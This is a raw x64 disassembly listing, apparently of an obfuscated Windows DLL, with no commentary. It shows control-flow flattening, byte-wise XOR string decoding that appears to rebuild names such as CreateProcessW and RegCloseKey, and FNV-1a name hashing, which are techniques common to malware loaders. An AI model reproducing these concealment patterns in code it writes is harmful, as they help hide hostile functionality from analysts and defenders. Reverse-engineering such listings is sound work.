mov edi, 0xb4f786a4
jmp 0x1800687d0
mov rbx, qword [rbp + 0x168]
movsx ebx, bl
xor ebx, 0x6f
mov dword [rbp + 0x168], ebx
mov ebx, 0x2124d5a4
nop word cs:[rax + rax]
cmp ebx, 0xaecdf055
je 0x180068833
cmp ebx, 0x2124d5a4
jne 0x180068810
mov ebx, dword [rbp + 0x168]
mov byte [rbp + 0x138], bl
mov ebx, 0xaecdf055
jmp 0x180068810
mov bl, byte [rbp + 0x138]
mov byte [rdx + 5], bl
movsx rbx, byte [rax]
add rbx, 6
mov edi, 0x342d9d70
nop dword [rax]
cmp edi, 0xb4f786a4
je 0x18006886e
cmp edi, 0x342d9d70
jne 0x180068850
mov qword [rbp + 0x168], rbx
mov edi, 0xb4f786a4
jmp 0x180068850
mov rbx, qword [rbp + 0x168]
movsx ebx, bl
xor ebx, 0x73
mov dword [rbp + 0x168], ebx
mov ebx, 0x2124d5a4
nop word cs:[rax + rax]
cmp ebx, 0xaecdf055
je 0x1800688b3
cmp ebx, 0x2124d5a4
jne 0x180068890
mov ebx, dword [rbp + 0x168]
mov byte [rbp + 0x138], bl
mov ebx, 0xaecdf055
jmp 0x180068890
mov bl, byte [rbp + 0x138]
mov byte [rdx + 6], bl
movsx rbx, byte [rax]
add rbx, 7
mov edi, 0x342d9d70
nop dword [rax]
cmp edi, 0xb4f786a4
je 0x1800688ee
cmp edi, 0x342d9d70
jne 0x1800688d0
mov qword [rbp + 0x168], rbx
mov edi, 0xb4f786a4
jmp 0x1800688d0
mov rbx, qword [rbp + 0x168]
movsx ebx, bl
xor ebx, 0x65
mov dword [rbp + 0x168], ebx
mov ebx, 0x2124d5a4
nop word cs:[rax + rax]
cmp ebx, 0xaecdf055
je 0x180068933
cmp ebx, 0x2124d5a4
jne 0x180068910
mov ebx, dword [rbp + 0x168]
mov byte [rbp + 0x138], bl
mov ebx, 0xaecdf055
jmp 0x180068910
mov bl, byte [rbp + 0x138]
mov byte [rdx + 7], bl
movsx rbx, byte [rax]
add rbx, 8
mov edi, 0x342d9d70
nop dword [rax]
cmp edi, 0xb4f786a4
je 0x18006896e
cmp edi, 0x342d9d70
jne 0x180068950
mov qword [rbp + 0x168], rbx
mov edi, 0xb4f786a4
jmp 0x180068950
mov rbx, qword [rbp + 0x168]
movsx ebx, bl
xor ebx, 0x4b
mov dword [rbp + 0x168], ebx
mov ebx, 0x2124d5a4
nop word cs:[rax + rax]
cmp ebx, 0xaecdf055
je 0x1800689b3
cmp ebx, 0x2124d5a4
jne 0x180068990
mov ebx, dword [rbp + 0x168]
mov byte [rbp + 0x138], bl
mov ebx, 0xaecdf055
jmp 0x180068990
mov bl, byte [rbp + 0x138]
mov byte [rdx + 8], bl
movsx rbx, byte [rax]
add rbx, 9
mov edi, 0x342d9d70
nop dword [rax]
cmp edi, 0xb4f786a4
je 0x1800689ee
cmp edi, 0x342d9d70
jne 0x1800689d0
mov qword [rbp + 0x168], rbx
mov edi, 0xb4f786a4
jmp 0x1800689d0
mov rbx, qword [rbp + 0x168]
movsx ebx, bl
xor ebx, 0x65
mov dword [rbp + 0x168], ebx
mov ebx, 0x2124d5a4
nop word cs:[rax + rax]
cmp ebx, 0xaecdf055
je 0x180068a33
cmp ebx, 0x2124d5a4
jne 0x180068a10
mov ebx, dword [rbp + 0x168]
mov byte [rbp + 0x138], bl
mov ebx, 0xaecdf055
jmp 0x180068a10
mov bl, byte [rbp + 0x138]
mov byte [rdx + 9], bl
movsx rbx, byte [rax]
add rbx, 0xa
mov edi, 0x342d9d70
nop dword [rax]
cmp edi, 0xb4f786a4
je 0x180068a6e
cmp edi, 0x342d9d70
jne 0x180068a50
mov qword [rbp + 0x168], rbx
mov edi, 0xb4f786a4
jmp 0x180068a50
mov rbx, qword [rbp + 0x168]
movsx ebx, bl
xor ebx, 0x79
mov dword [rbp + 0x168], ebx
mov ebx, 0x2124d5a4
nop word cs:[rax + rax]
cmp ebx, 0xaecdf055
je 0x180068ab3
cmp ebx, 0x2124d5a4
jne 0x180068a90
mov ebx, dword [rbp + 0x168]
mov byte [rbp + 0x138], bl
mov ebx, 0xaecdf055
jmp 0x180068a90
mov bl, byte [rbp + 0x138]
mov byte [rdx + 0xa], bl
add rdx, 0xb
mov qword [rbp + 0x148], rdx
mov edx, 0x525addce
jmp 0x180068540
movzx edx, word [rbp + 0x128]
mov ebx, dword [rbp + 0x140]
xor bx, dx
mov word [rcx + 2], bx
mov edx, 0x68077d15
nop word [rax + rax]
cmp edx, 0x72414454
je 0x1800691c1
cmp edx, 0x68077d15
jne 0x180068af0
mov dword [rbp + 0x140], 0x61
mov qword [rbp + 0x168], rax
mov edx, 0xc0f2eaca
nop word [rax + rax]
cmp edx, 0xe36de240
je 0x180068b48
cmp edx, 0xc0f2eaca
jne 0x180068b20
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x148], dx
mov edx, 0xe36de240
jmp 0x180068b20
movzx edx, word [rbp + 0x148]
add edx, 1
mov word [rbp + 0x128], dx
mov edx, 0x72414454
jmp 0x180068af0
mov rax, qword [rbp + 0x98]
mov edx, 0xa1bb2341
jmp 0x180068b80
mov edx, 0x71e1e36d
mov rcx, qword [rbp + 0x128]
nop word [rax + rax]
cmp edx, 0xd27a5709
jle 0x180068be0
cmp edx, 0xeb1a0de3
jle 0x180068c10
cmp edx, 0x71e1e36d
je 0x180068c74
cmp edx, 0x7fd32b22
jne 0x180068cff
mov rdx, qword [rbp + 0x140]
add rdx, 1
mov qword [rbp + 0x128], rdx
mov rdx, qword [rbp + 0x128]
lea rdx, [rax + rdx*2]
mov qword [rbp + 0x148], rdx
mov edx, 0x9e15a565
jmp 0x180068b80
cmp edx, 0xb525ad42
jg 0x180068c40
cmp edx, 0x9e15a565
je 0x180068c93
cmp edx, 0xa1bb2341
jne 0x180068b80
mov edx, 0xb525ad43
jmp 0x180068b80
cmp edx, 0xd27a570a
je 0x180068b6e
cmp edx, 0xe37e5a07
jne 0x180068b80
mov qword [rbp + 0x138], rax
mov edx, 0xb55b6117
jmp 0x180068b80
cmp edx, 0xb525ad43
je 0x180068cd8
cmp edx, 0xb55b6117
jne 0x180068b80
mov rdx, qword [rbp + 0x138]
add rdx, 0x24
mov qword [rbp + 0x120], rdx
mov edx, 0xeb1a0de4
jmp 0x180068b80
mov qword [rbp + 0x140], rcx
mov rdx, qword [rbp + 0x140]
cmp rdx, 0x11
mov edx, 0xe37e5a07
cmovb edx, edi
jmp 0x180068b80
mov rdx, qword [rbp + 0x148]
movzx edx, word [rdx]
mov qword [rbp + 0x168], rax
mov ebx, 0xbf435ec1
nop dword [rax]
cmp ebx, 0xf7e54564
je 0x180068ce4
cmp ebx, 0xbf435ec1
jne 0x180068cb0
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x150], bx
mov ebx, 0xf7e54564
jmp 0x180068cb0
mov edx, 0x71e1e36d
xor ecx, ecx
jmp 0x180068b80
xor dx, word [rbp + 0x150]
mov rbx, qword [rbp + 0x148]
mov word [rbx], dx
mov edx, 0xd27a570a
jmp 0x180068b80
cmp edx, 0xeb1a0de4
jne 0x180068b80
mov rax, qword [rbp + 0x120]
mov word [rax], 0
mov rdx, qword [rbp + 0x138]
add rdx, 2
mov rcx, qword [rbp + 0xa0]
sub rsp, 0x20
call fcn.180030d00
add rsp, 0x20
mov rax, qword [rbp + 0x90]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x40]
mov rax, qword [rbp + 0x90]
mov qword [rbp + 0x120], rax
mov rcx, qword [rbp + 0x120]
mov byte [rcx], 0x64
mov rcx, qword [rbp + 0x120]
mov edx, 0xc0dae3fc
nop dword [rax]
cmp edx, 0x49a2ca0e
je 0x180069250
cmp edx, 0xc0dae3fc
jne 0x180068d70
mov edx, 0xb66f4e1
nop dword [rax]
cmp edx, 0xbc277034
je 0x180068dae
cmp edx, 0xb66f4e1
jne 0x180068d90
mov qword [rbp + 0x168], rax
mov edx, 0xbc277034
jmp 0x180068d90
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
xor dl, 0x43
mov byte [rbp + 0x140], dl
mov edx, 0x49a2ca0e
jmp 0x180068d70
mov eax, dword [rbp + 0x168]
add al, 0x65
mov byte [rbp + 0x179], al
mov dword [rbp + 0x140], 0x50
mov eax, 0x9684c146
nop word cs:[rax + rax]
nop
cmp eax, 0x8a31859a
je 0x1800692ba
cmp eax, 0x9684c146
jne 0x180068df0
movsxd rax, dword [rbp + 0x140]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x168], eax
mov eax, 0x8a31859a
jmp 0x180068df0
mov rcx, qword [rbp + 0xa8]
sub rsp, 0x20
call fcn.180072520
mov r11d, 0xed3b0916
movabs r10, 0x100000001b3
movabs r9, 0xcbf29ce484222325
add rsp, 0x20
mov ebx, 0x9304b30f
jmp 0x180068e90
movsxd rdi, r8d
xor rdi, qword [rbp + 0x168]
imul rdi, r10
mov esi, dword [rbp + 0x128]
add esi, 1
mov ebx, 0xc46bd60d
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0xec989664
jle 0x180068ef0
cmp ebx, 0xde9741a
jle 0x180068f40
cmp ebx, 0x4040a63f
jg 0x180068fc9
cmp ebx, 0xde9741b
je 0x180069092
cmp ebx, 0x23777f42
je 0x1800690a9
cmp ebx, 0x34fd6d6d
jne 0x180068e90
cmp byte [rbp + 0x118], 0
mov ebx, 0xa8588bcc
cmovne ebx, r13d
jmp 0x180068e90
cmp ebx, 0xb3b07733
jle 0x180068f80
cmp ebx, 0xc86312b3
jle 0x180068ffd
cmp ebx, 0xc86312b4
je 0x180068e67
cmp ebx, 0xcaf004ba
je 0x1800690b3
cmp ebx, 0xdf0d33c4
jne 0x180068e90
mov ebx, 0xc46bd60d
xor esi, esi
mov rdi, r9
jmp 0x180068e90
cmp ebx, 0xfa416f8f
jle 0x18006903e
cmp ebx, 0xfa416f90
je 0x1800690e0
cmp ebx, 0x45d558a
je 0x1800690f1
cmp ebx, 0xc942d64
jne 0x180068e90
mov ebx, 0xcaf004ba
xor edx, edx
jmp 0x180068e90
cmp ebx, 0xa8588bcb
jle 0x180069070
cmp ebx, 0xa8588bcc
je 0x18006910b
cmp ebx, 0xa94a57ae
je 0x18006911c
cmp ebx, 0xb18d2356
jne 0x180068e90
mov ecx, dword [rbp + 0x150]
or ecx, 0x20
mov dword [rbp + 0x138], ecx
mov ebx, 0xfa416f90
jmp 0x180068e90
cmp ebx, 0x4040a640
je 0x180069126
cmp ebx, 0x494b1080
je 0x180069130
cmp ebx, 0x6238ad6b
jne 0x180068e90
mov ebx, 0xcaf004ba
mov edx, dword [rbp + 0x15c]
jmp 0x180068e90
cmp ebx, 0xb3b07734
je 0x180069145
cmp ebx, 0xc46bd60d
jne 0x1800691a0
mov dword [rbp + 0x128], esi
mov qword [rbp + 0x168], rdi
mov ebx, dword [rbp + 0x120]
mov ecx, dword [rbp + 0x128]
cmp ecx, ebx
mov ebx, 0xc5d9b945
cmovb ebx, r12d
jmp 0x180068e90
cmp ebx, 0xec989665
je 0x18006916c
cmp ebx, 0xed3b0916
jne 0x180068e90
mov ecx, dword [rbp + 0x150]
cmp ecx, 0x5b
setl byte [rbp + 0x118]
mov ebx, 0x34fd6d6d
jmp 0x180068e90
cmp ebx, 0x8051c795
je 0x180069185
cmp ebx, 0x9304b30f
jne 0x180068e90
mov ebx, 0xc942d64
jmp 0x180068e90
mov ecx, dword [rbp + 0x128]
mov qword [rbp + 0x148], rcx
mov ebx, 0x8051c795
jmp 0x180068e90
mov ebx, 0xdf0d33c4
jmp 0x180068e90
mov dword [rbp + 0x120], edx
mov ebx, dword [rbp + 0x120]
movsx ebx, byte [rax + rbx]
mov dword [rbp + 0x11c], ebx
mov ebx, dword [rbp + 0x11c]
cmp ebx, 0x1f
mov ebx, 0xa94a57ae
cmovg ebx, r15d
jmp 0x180068e90
mov ebx, 0xc86312b4
mov r8d, dword [rbp + 0x138]
jmp 0x180068e90
mov ebx, dword [rbp + 0x11c]
cmp ebx, 0x7f
setl byte [rbp + 0x137]
mov ebx, 0x494b1080
jmp 0x180068e90
mov ebx, 0xc86312b4
mov r8d, dword [rbp + 0x150]
jmp 0x180068e90
mov ebx, 0x23777f42
jmp 0x180068e90
mov ebx, 0x6238ad6b
jmp 0x180068e90
cmp byte [rbp + 0x137], 0
mov ebx, 0xa94a57ae
cmovne ebx, r14d
jmp 0x180068e90
mov rcx, qword [rbp + 0x140]
movsx ecx, byte [rcx]
mov dword [rbp + 0x150], ecx
mov ecx, dword [rbp + 0x150]
cmp ecx, 0x40
mov ebx, 0xa8588bcc
cmovg ebx, r11d
jmp 0x180068e90
mov ebx, dword [rbp + 0x120]
add ebx, 1
mov dword [rbp + 0x15c], ebx
mov ebx, 0x4040a640
jmp 0x180068e90
mov rcx, qword [rbp + 0x148]
add rcx, rax
mov qword [rbp + 0x140], rcx
mov ebx, 0xb3b07734
jmp 0x180068e90
cmp ebx, 0xc5d9b945
jne 0x180068e90
mov rax, qword [rbp + 0x168]
mov qword [rbp - 0x80], rax
mov ecx, 0xdc8e0c1f
jmp 0x180060a60
movzx edx, word [rbp + 0x128]
mov ebx, dword [rbp + 0x140]
xor bx, dx
mov word [rcx + 4], bx
mov edx, 0x68077d15
nop word [rax + rax]
cmp edx, 0x72414454
je 0x180069322
cmp edx, 0x68077d15
jne 0x1800691e0
mov dword [rbp + 0x140], 0x63
mov qword [rbp + 0x168], rax
mov edx, 0xc0f2eaca
nop word [rax + rax]
cmp edx, 0xe36de240
je 0x180069238
cmp edx, 0xc0f2eaca
jne 0x180069210
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x148], dx
mov edx, 0xe36de240
jmp 0x180069210
movzx edx, word [rbp + 0x148]
add edx, 2
mov word [rbp + 0x128], dx
mov edx, 0x72414454
jmp 0x1800691e0
mov dl, byte [rbp + 0x140]
mov byte [rcx + 1], dl
mov edx, 0xc0dae3fc
nop
cmp edx, 0x49a2ca0e
je 0x1800693b0
cmp edx, 0xc0dae3fc
jne 0x180069260
mov edx, 0xb66f4e1
nop dword [rax]
cmp edx, 0xbc277034
je 0x18006929e
cmp edx, 0xb66f4e1
jne 0x180069280
mov qword [rbp + 0x168], rax
mov edx, 0xbc277034
jmp 0x180069280
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 1
xor dl, 0x72
mov byte [rbp + 0x140], dl
mov edx, 0x49a2ca0e
jmp 0x180069260
mov eax, dword [rbp + 0x168]
add al, 0x74
mov byte [rbp + 0x17a], al
mov dword [rbp + 0x140], 0x50
mov eax, 0x9684c146
nop word [rax + rax]
cmp eax, 0x8a31859a
je 0x18006941a
cmp eax, 0x9684c146
jne 0x1800692e0
movsxd rax, dword [rbp + 0x140]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x168], eax
mov eax, 0x8a31859a
jmp 0x1800692e0
movzx edx, word [rbp + 0x128]
mov ebx, dword [rbp + 0x140]
xor bx, dx
mov word [rcx + 6], bx
mov edx, 0x68077d15
nop dword [rax + rax]
cmp edx, 0x72414454
je 0x180069482
cmp edx, 0x68077d15
jne 0x180069340
mov dword [rbp + 0x140], 0x68
mov qword [rbp + 0x168], rax
mov edx, 0xc0f2eaca
nop word [rax + rax]
cmp edx, 0xe36de240
je 0x180069398
cmp edx, 0xc0f2eaca
jne 0x180069370
mov rdx, qword [rbp + 0x168]
movzx edx, word [rdx]
mov word [rbp + 0x148], dx
mov edx, 0xe36de240
jmp 0x180069370
movzx edx, word [rbp + 0x148]
add edx, 3
mov word [rbp + 0x128], dx
mov edx, 0x72414454
jmp 0x180069340
mov dl, byte [rbp + 0x140]
mov byte [rcx + 2], dl
mov edx, 0xc0dae3fc
nop
cmp edx, 0x49a2ca0e
je 0x180069520
cmp edx, 0xc0dae3fc
jne 0x1800693c0
mov edx, 0xb66f4e1
nop dword [rax]
cmp edx, 0xbc277034
je 0x1800693fe
cmp edx, 0xb66f4e1
jne 0x1800693e0
mov qword [rbp + 0x168], rax
mov edx, 0xbc277034
jmp 0x1800693e0
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 2
xor dl, 0x65
mov byte [rbp + 0x140], dl
mov edx, 0x49a2ca0e
jmp 0x1800693c0
mov eax, dword [rbp + 0x168]
add al, 0x4d
mov byte [rbp + 0x17b], al
mov dword [rbp + 0x140], 0x50
mov eax, 0x9684c146
nop word [rax + rax]
cmp eax, 0x8a31859a
je 0x180069aa3
cmp eax, 0x9684c146
jne 0x180069440
movsxd rax, dword [rbp + 0x140]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x168], eax
mov eax, 0x8a31859a
jmp 0x180069440
movzx edx, word [rbp + 0x128]
mov ebx, dword [rbp + 0x140]
xor bx, dx
mov word [rcx + 8], bx
add rcx, 0xa
mov qword [rbp + 0x128], rcx
mov ecx, 0x68077d15
nop word cs:[rax + rax]
cmp ecx, 0x72414454
je 0x180069b12
cmp ecx, 0x68077d15
jne 0x1800694b0
mov dword [rbp + 0x140], 0x65
mov qword [rbp + 0x168], rax
mov ecx, 0xc0f2eaca
nop word [rax + rax]
cmp ecx, 0xe36de240
je 0x180069508
cmp ecx, 0xc0f2eaca
jne 0x1800694e0
mov rcx, qword [rbp + 0x168]
movzx ecx, word [rcx]
mov word [rbp + 0x148], cx
mov ecx, 0xe36de240
jmp 0x1800694e0
movzx ecx, word [rbp + 0x148]
add ecx, 4
mov word [rbp + 0x138], cx
mov ecx, 0x72414454
jmp 0x1800694b0
mov dl, byte [rbp + 0x140]
mov byte [rcx + 3], dl
add rcx, 4
mov qword [rbp + 0x128], rcx
mov byte [rbp + 0x150], 0x61
mov edx, 0x32349fc
cmp edx, 0x32349fb
jg 0x180069580
cmp edx, 0xb27d442a
je 0x1800695f9
cmp edx, 0xf018fdae
jne 0x180069540
mov byte [rcx], 0
add rcx, 1
cmp rcx, qword [rbp + 0x140]
mov edx, 0xf018fdae
mov ebx, 0x45f00c7e
cmove edx, ebx
jmp 0x180069540
cmp edx, 0x45f00c7e
je 0x180069d0c
cmp edx, 0x32349fc
jne 0x180069540
mov dl, byte [rbp + 0x150]
mov ebx, 0xc0dae3fc
nop
cmp ebx, 0x49a2ca0e
je 0x18006965a
cmp ebx, 0xc0dae3fc
jne 0x1800695a0
mov ebx, 0xb66f4e1
nop dword [rax]
cmp ebx, 0xbc277034
je 0x1800695de
cmp ebx, 0xb66f4e1
jne 0x1800695c0
mov qword [rbp + 0x168], rax
mov ebx, 0xbc277034
jmp 0x1800695c0
mov rbx, qword [rbp + 0x168]
mov bl, byte [rbx]
add bl, 3
xor bl, dl
mov byte [rbp + 0x138], bl
mov ebx, 0x49a2ca0e
jmp 0x1800695a0
mov ecx, 0xc0dae3fc
nop
cmp ecx, 0x49a2ca0e
je 0x180069685
cmp ecx, 0xc0dae3fc
jne 0x180069600
mov ecx, 0xb66f4e1
nop word cs:[rax + rax]
nop
cmp ecx, 0xbc277034
je 0x18006963e
cmp ecx, 0xb66f4e1
jne 0x180069620
mov qword [rbp + 0x168], rax
mov ecx, 0xbc277034
jmp 0x180069620
mov rcx, qword [rbp + 0x168]
mov cl, byte [rcx]
add cl, 4
xor cl, 0x74
mov byte [rbp + 0x138], cl
mov ecx, 0x49a2ca0e
jmp 0x180069600
mov dl, byte [rbp + 0x138]
mov rbx, qword [rbp + 0x128]
mov byte [rbx], dl
mov rdx, qword [rbp + 0x128]
add rdx, 1
mov qword [rbp + 0x148], rdx
mov edx, 0xb27d442a
jmp 0x180069540
mov cl, byte [rbp + 0x138]
mov rdx, qword [rbp + 0x148]
mov byte [rdx], cl
mov rcx, qword [rbp + 0x148]
mov edx, 0xc0dae3fc
cmp edx, 0x49a2ca0e
je 0x1800696fa
cmp edx, 0xc0dae3fc
jne 0x1800696a0
mov edx, 0xb66f4e1
nop word cs:[rax + rax]
nop
cmp edx, 0xbc277034
je 0x1800696de
cmp edx, 0xb66f4e1
jne 0x1800696c0
mov qword [rbp + 0x168], rax
mov edx, 0xbc277034
jmp 0x1800696c0
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 5
xor dl, 0x65
mov byte [rbp + 0x138], dl
mov edx, 0x49a2ca0e
jmp 0x1800696a0
mov dl, byte [rbp + 0x138]
mov byte [rcx + 1], dl
mov edx, 0xc0dae3fc
nop dword [rax + rax]
cmp edx, 0x49a2ca0e
je 0x18006976a
cmp edx, 0xc0dae3fc
jne 0x180069710
mov edx, 0xb66f4e1
nop word cs:[rax + rax]
nop
cmp edx, 0xbc277034
je 0x18006974e
cmp edx, 0xb66f4e1
jne 0x180069730
mov qword [rbp + 0x168], rax
mov edx, 0xbc277034
jmp 0x180069730
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 6
xor dl, 0x50
mov byte [rbp + 0x138], dl
mov edx, 0x49a2ca0e
jmp 0x180069710
mov dl, byte [rbp + 0x138]
mov byte [rcx + 2], dl
mov edx, 0xc0dae3fc
nop dword [rax + rax]
cmp edx, 0x49a2ca0e
je 0x1800697da
cmp edx, 0xc0dae3fc
jne 0x180069780
mov edx, 0xb66f4e1
nop word cs:[rax + rax]
nop
cmp edx, 0xbc277034
je 0x1800697be
cmp edx, 0xb66f4e1
jne 0x1800697a0
mov qword [rbp + 0x168], rax
mov edx, 0xbc277034
jmp 0x1800697a0
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 7
xor dl, 0x72
mov byte [rbp + 0x138], dl
mov edx, 0x49a2ca0e
jmp 0x180069780
mov dl, byte [rbp + 0x138]
mov byte [rcx + 3], dl
mov edx, 0xc0dae3fc
nop dword [rax + rax]
cmp edx, 0x49a2ca0e
je 0x18006984a
cmp edx, 0xc0dae3fc
jne 0x1800697f0
mov edx, 0xb66f4e1
nop word cs:[rax + rax]
nop
cmp edx, 0xbc277034
je 0x18006982e
cmp edx, 0xb66f4e1
jne 0x180069810
mov qword [rbp + 0x168], rax
mov edx, 0xbc277034
jmp 0x180069810
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 8
xor dl, 0x6f
mov byte [rbp + 0x138], dl
mov edx, 0x49a2ca0e
jmp 0x1800697f0
mov dl, byte [rbp + 0x138]
mov byte [rcx + 4], dl
mov edx, 0xc0dae3fc
nop dword [rax + rax]
cmp edx, 0x49a2ca0e
je 0x1800698ba
cmp edx, 0xc0dae3fc
jne 0x180069860
mov edx, 0xb66f4e1
nop word cs:[rax + rax]
nop
cmp edx, 0xbc277034
je 0x18006989e
cmp edx, 0xb66f4e1
jne 0x180069880
mov qword [rbp + 0x168], rax
mov edx, 0xbc277034
jmp 0x180069880
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 9
xor dl, 0x63
mov byte [rbp + 0x138], dl
mov edx, 0x49a2ca0e
jmp 0x180069860
mov dl, byte [rbp + 0x138]
mov byte [rcx + 5], dl
mov edx, 0xc0dae3fc
nop dword [rax + rax]
cmp edx, 0x49a2ca0e
je 0x18006992a
cmp edx, 0xc0dae3fc
jne 0x1800698d0
mov edx, 0xb66f4e1
nop word cs:[rax + rax]
nop
cmp edx, 0xbc277034
je 0x18006990e
cmp edx, 0xb66f4e1
jne 0x1800698f0
mov qword [rbp + 0x168], rax
mov edx, 0xbc277034
jmp 0x1800698f0
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0xa
xor dl, 0x65
mov byte [rbp + 0x138], dl
mov edx, 0x49a2ca0e
jmp 0x1800698d0
mov dl, byte [rbp + 0x138]
mov byte [rcx + 6], dl
mov edx, 0xc0dae3fc
nop dword [rax + rax]
cmp edx, 0x49a2ca0e
je 0x18006999a
cmp edx, 0xc0dae3fc
jne 0x180069940
mov edx, 0xb66f4e1
nop word cs:[rax + rax]
nop
cmp edx, 0xbc277034
je 0x18006997e
cmp edx, 0xb66f4e1
jne 0x180069960
mov qword [rbp + 0x168], rax
mov edx, 0xbc277034
jmp 0x180069960
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0xb
xor dl, 0x73
mov byte [rbp + 0x138], dl
mov edx, 0x49a2ca0e
jmp 0x180069940
mov dl, byte [rbp + 0x138]
mov byte [rcx + 7], dl
mov edx, 0xc0dae3fc
nop dword [rax + rax]
cmp edx, 0x49a2ca0e
je 0x180069a0a
cmp edx, 0xc0dae3fc
jne 0x1800699b0
mov edx, 0xb66f4e1
nop word cs:[rax + rax]
nop
cmp edx, 0xbc277034
je 0x1800699ee
cmp edx, 0xb66f4e1
jne 0x1800699d0
mov qword [rbp + 0x168], rax
mov edx, 0xbc277034
jmp 0x1800699d0
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0xc
xor dl, 0x73
mov byte [rbp + 0x138], dl
mov edx, 0x49a2ca0e
jmp 0x1800699b0
mov dl, byte [rbp + 0x138]
mov byte [rcx + 8], dl
mov edx, 0xc0dae3fc
nop dword [rax + rax]
cmp edx, 0x49a2ca0e
je 0x180069a7a
cmp edx, 0xc0dae3fc
jne 0x180069a20
mov edx, 0xb66f4e1
nop word cs:[rax + rax]
nop
cmp edx, 0xbc277034
je 0x180069a5e
cmp edx, 0xb66f4e1
jne 0x180069a40
mov qword [rbp + 0x168], rax
mov edx, 0xbc277034
jmp 0x180069a40
mov rdx, qword [rbp + 0x168]
mov dl, byte [rdx]
add dl, 0xd
xor dl, 0x57
mov byte [rbp + 0x138], dl
mov edx, 0x49a2ca0e
jmp 0x180069a20
mov dl, byte [rbp + 0x138]
mov byte [rcx + 9], dl
add rcx, 0xa
mov rdx, qword [rbp + 0x120]
add rdx, 0x10
mov qword [rbp + 0x140], rdx
mov edx, 0xf018fdae
jmp 0x180069540
mov eax, dword [rbp + 0x168]
add al, 0x6f
mov byte [rbp + 0x17c], al
lea rax, [rbp + 0x17d]
mov qword [rbp + 0x140], rax
mov dword [rbp + 0x148], 0x50
mov eax, 0x9684c146
nop
cmp eax, 0x8a31859a
je 0x18006a0f7
cmp eax, 0x9684c146
jne 0x180069ad0
movsxd rax, dword [rbp + 0x148]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
sar rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov dword [rbp + 0x168], eax
mov eax, 0x8a31859a
jmp 0x180069ad0
movzx ecx, word [rbp + 0x138]
mov edx, dword [rbp + 0x140]
xor dx, cx
mov word [rbp + 0x11c], dx
mov edx, 0x5c7c39fc
nop
cmp edx, 0x5c7c39fb
jg 0x180069bd0
cmp edx, 0xa95296ff
je 0x1800609e3
cmp edx, 0xc104f79c
jne 0x180069b30
mov ecx, 0x68077d15
nop word cs:[rax + rax]
nop
cmp ecx, 0x72414454
je 0x180069c80
cmp ecx, 0x68077d15
jne 0x180069b60
mov dword [rbp + 0x138], 0x42
mov qword [rbp + 0x168], rax
mov ecx, 0xc0f2eaca
nop word [rax + rax]
cmp ecx, 0xe36de240
je 0x180069bb8
cmp ecx, 0xc0f2eaca
jne 0x180069b90
mov rcx, qword [rbp + 0x168]
movzx ecx, word [rcx]
mov word [rbp + 0x150], cx
mov ecx, 0xe36de240
jmp 0x180069b90
movzx ecx, word [rbp + 0x150]
add ecx, 6
mov word [rbp + 0x15c], cx
mov ecx, 0x72414454
jmp 0x180069b60
cmp edx, 0x5e38e4f5
je 0x180069cc1
cmp edx, 0x5c7c39fc
jne 0x180069b30
mov rdx, qword [rbp + 0x128]
movzx ebx, word [rbp + 0x11c]
mov word [rdx], bx
mov rdx, qword [rbp + 0x128]
mov ebx, 0x68077d15
nop word cs:[rax + rax]
nop
cmp ebx, 0x72414454
je 0x180069ce3
cmp ebx, 0x68077d15
jne 0x180069c10
mov dword [rbp + 0x138], 0x44
mov qword [rbp + 0x168], rax
mov ebx, 0xc0f2eaca
nop word [rax + rax]
cmp ebx, 0xe36de240
je 0x180069c68
cmp ebx, 0xc0f2eaca
jne 0x180069c40
mov rbx, qword [rbp + 0x168]
movzx ebx, word [rbx]
mov word [rbp + 0x150], bx
mov ebx, 0xe36de240
jmp 0x180069c40
movzx ebx, word [rbp + 0x150]
add ebx, 5
mov word [rbp + 0x15c], bx
mov ebx, 0x72414454
jmp 0x180069c10
movzx ecx, word [rbp + 0x15c]
mov edx, dword [rbp + 0x138]
xor dx, cx
mov rcx, qword [rbp + 0x148]
mov word [rcx], dx
mov rcx, qword [rbp + 0x148]
add rcx, 2
mov rdx, qword [rbp + 0x120]
add rdx, 0x12
mov qword [rbp + 0x140], rdx
mov edx, 0x5e38e4f5
jmp 0x180069b30
mov word [rcx], 0
add rcx, 2
cmp rcx, qword [rbp + 0x140]
mov edx, 0x5e38e4f5
mov ebx, 0xa95296ff
cmove edx, ebx
jmp 0x180069b30
movzx ebx, word [rbp + 0x15c]
mov edi, dword [rbp + 0x138]
xor di, bx
mov word [rdx + 2], di
add rdx, 4
mov qword [rbp + 0x148], rdx
mov edx, 0xc104f79c
jmp 0x180069b30
mov rcx, qword [rbp + 0x90]
sub rsp, 0x20
call fcn.180072720
add rsp, 0x20
